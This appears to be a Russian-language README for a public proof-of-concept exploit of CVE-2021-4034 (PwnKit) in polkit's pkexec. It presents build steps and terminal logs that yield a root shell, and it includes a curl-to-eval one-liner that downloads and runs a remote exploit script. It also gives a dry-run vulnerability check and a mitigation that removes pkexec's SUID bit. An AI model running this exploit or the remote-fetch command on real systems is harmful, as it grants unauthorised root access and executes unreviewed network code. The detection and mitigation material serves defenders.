fei9747/cve-2021-4034Эксплойт для доказательства концепции для CVE-2021-4034 (PwnKit), нацеленный на бинарный файл polkit pkexec с SUID, для получения локального повышения привилегий до root в системах Linux.
Эксплойт для повышения привилегий в polkit за один день
Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой.
Оригинальное уведомление от настоящих авторов находится здесь
Если эксплойт работает, вы сразу получите root-оболочку:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Обновление polkit в большинстве систем исправит уязвимость, поэтому вы увидите справку по использованию, и программа завершится:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Чтобы не запускать оболочку, а только проверить, уязвима ли система, скомпилируйте цель dry-run.
Если программа завершится, выведя "root", это означает, что ваша система уязвима для эксплойта.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Если ваша система не уязвима, она выводит ошибку и завершается.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (ранее PolicyKit) — это компонент для управления системными привилегиями в Unix-подобных операционных системах. Он предоставляет организованный способ взаимодействия непривилегированных процессов с привилегированными. Также можно использовать polkit для выполнения команд с повышенными привилегиями с помощью команды pkexec, за которой следует команда, которую требуется выполнить (с правами root).
Вы можете легко эксплуатировать систему с помощью одного скрипта, который можно загрузить и выполнить с помощью этой команды:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Если для вашей операционной системы нет исправлений, вы можете удалить SUID-бит у pkexec в качестве временной меры.
# chmod 0755 /usr/bin/pkexec
Тогда эксплойт завершится с ошибкой, сообщающей, что pkexec должен иметь установленный бит setuid.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root